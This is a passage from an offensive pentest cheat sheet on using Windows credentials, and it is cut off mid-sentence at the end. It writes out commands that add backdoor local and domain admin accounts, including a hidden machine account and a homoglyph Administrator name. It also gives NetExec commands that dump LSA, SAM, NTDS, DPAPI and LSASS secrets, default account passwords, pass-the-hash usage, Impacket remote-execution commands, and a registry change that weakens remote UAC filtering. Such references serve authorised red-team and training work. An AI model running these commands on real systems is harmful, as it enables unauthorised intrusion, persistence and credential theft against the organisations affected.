Internal Network Pentest and IR Reference: windows using credentials

# Windows - Using credentials

## Summary

* [Get Credentials](#get-credentials)
    * [Create Credential](#create-credential)
    * [Looting Credentials](#looting-credentials)
    * [Guest Credential](#guest-credential)
    * [Retail Credential](#retail-credential)
    * [Sandbox Credential](#sandbox-credential)
* [NetExec](#netexec)
* [Impacket](#impacket)
    * [PSExec](#psexec)
    * [WMIExec](#wmiexec)
    * [SMBExec](#smbexec)
* [RDP Remote Desktop Protocol](#rdp-remote-desktop-protocol)
* [Powershell Remoting Protocol](#powershell-remoting-protocol)
    * [Powershell Credentials](#powershell-credentials)
    * [Powershell PSSESSION](#powershell-pssession)
    * [Powershell Secure String](#powershell-secure-string)
* [SSH Protocol](#ssh-protocol)
* [WinRM Protocol](#winrm-protocol)
* [WMI Protocol](#wmi-protocol)
* [Other Methods](#other-methods)
    * [PsExec - Sysinternals](#psexec---sysinternals)
    * [Mount a remote share](#mount-a-remote-share)
    * [Run as another user](#run-as-another-user)

## Get Credentials

### Create Credential

```powershell
net user hacker Hcker_12345678* /add /Y
net localgroup administrators hacker /add
net localgroup "Remote Desktop Users" hacker /add # RDP access
net localgroup "Backup Operators" hacker /add # Full access to files
net group "Domain Admins" hacker /add /domain

# enable a domain user account
net user hacker /ACTIVE:YES /domain

# prevent users from changing their password
net user username /Passwordchg:No

# prevent the password to expire
net user hacker /Expires:Never

# create a machine account (not shown in net users)
net user /add evilbob$ evilpassword

# homoglyph Aԁmіnistratοr (different of Administrator)
Aԁmіnistratοr
```

Some info about your user

```powershell
net user /dom
net user /domain
```

### Looting Credentials

```ps1
nxc smb 10.10.10.10 -u username -p password -d domain --lsa
nxc smb 10.10.10.10 -u username -p password -d domain --sam
nxc smb 10.10.10.10 -u username -p password -d domain --dpapi nosystem
nxc smb 10.10.10.10 -u username -p password -d domain --dpapi cookies
nxc smb 10.10.10.10 -u username -p password -d domain --dpapi
nxc smb 10.10.10.10 -u username -p password -d domain --sccm
nxc smb 10.10.10.10 -u username -p password -d domain --ntds
nxc smb 10.10.10.10 -u username -p password -d domain -M lsassy
nxc smb 10.10.10.10 -u username -p password -d domain -M nanodump
nxc smb 10.10.10.10 -u username -p password -d domain -M veeam
nxc smb 10.10.10.10 -u username -p password -d domain -M winscp
nxc smb 10.10.10.10 -u username -p password -d domain -M putty
nxc smb 10.10.10.10 -u username -p password -d domain -M vnc
nxc smb 10.10.10.10 -u username -p password -d domain -M mremoteng
nxc smb 10.10.10.10 -u username -p password -d domain -M rdcman
```

### Guest Credential

By default every Windows machine comes with a Guest account, its default password is empty.

```powershell
Username: Guest
Password: [EMPTY]
NT Hash: 31d6cfe0d16ae931b73c59d7e0c089c0
```

### Retail Credential

Retail Credential [@m8urnett on Twitter](https://twitter.com/m8urnett/status/[PII_REDACTED]80172289)

when you run Windows in retail demo mode, it creates a user named Darrin DeYoung and an admin RetailAdmin

```powershell
Username: RetailAdmin
Password: trs10
```

### Sandbox Credential

WDAGUtilityAccount - [@never_released on Twitter](https://twitter.com/never_released/status/[PII_REDACTED]44676608)

Starting with Windows 10 version 1709 (Fall Creators Update), it is part of Windows Defender Application Guard

```powershell
\\windowssandbox
Username: wdagutilityaccount
Password: pw123
```

## netexec

Using [mpgn/netexec](https://github.com/Pennyw0rth/NetExec)

* netexec supports many protocols

    ```powershell
    netexec ldap 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" 
    netexec mssql 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
    netexec rdp 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" 
    netexec smb 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
    netexec winrm 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
    ```

* netexec works with password, NT hash and Kerberos authentication

    ```powershell
    netexec smb 192.168.1.100 -u Administrator -p "Password123?" # Password
    netexec smb 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" # NT Hash
    export KRB5CCNAME=/tmp/kerberos/admin.ccache; netexec smb 192.168.1.100 -u admin --use-kcache # Kerberos
    ```

## Impacket

From [fortra/impacket](https://github.com/fortra/impacket) (:warning: renamed to impacket-xxxxx in Kali)
:warning: `get` / `put` for wmiexec, psexec, smbexec, and dcomexec are changing to `lget` and `lput`.
:warning: French characters might not be correctly displayed on your output, use `-codec ibm850` to fix this.
:warning: By default, Impacket's scripts are stored in the examples folder: `impacket/examples/psexec.py`.

All Impacket's *exec scripts are not equal, they will target services hosted on multiples ports.
The following table summarize the port used by each scripts.

| Method      | Port Used                             | Admin Required |
|-------------|---------------------------------------|----------------|
| psexec.py   | tcp/445                               | Yes            |
| smbexec.py  | tcp/445                               | No             |
| atexec.py   | tcp/445                               | No             |
| dcomexec.py | tcp/135, tcp/445, tcp/49751 (DCOM)    | No             |
| wmiexec.py  | tcp/135, tcp/445, tcp/50911 (Winmgmt) | Yes            |

* `psexec`: equivalent of Windows PSEXEC using RemComSvc binary.

    ```ps1
    psexec.py DOMAIN/username:password@10.10.10.10
    ```

* `smbexec`: a similar approach to PSEXEC w/o using RemComSvc

    ```ps1
    smbexec.py DOMAIN/username:password@10.10.10.10
    ```

* `atexec`: executes a command on the target machine through the Task Scheduler service and returns the output of the executed command.

    ```ps1
    atexec.py DOMAIN/username:password@10.10.10.10
    ```

* `dcomexec`: a semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints

    ```ps1
    dcomexec.py DOMAIN/username:password@10.10.10.10
    ```

* `wmiexec`: a semi-interactive shell, used through Windows Management Instrumentation. First it uses ports tcp/135 and tcp/445, and ultimately it communicates with the Winmgmt Windows service over dynamically allocated high port such as tcp/50911.

    ```ps1
    wmiexec.py DOMAIN/username:password@10.10.10.10
    wmiexec.py DOMAIN/username@10.10.10.10 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
    ```

To allow Non-RID 500 local admin accounts performing Wmi or PsExec, execute:
`reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /f /d 1`
To prevent RID 500 from being able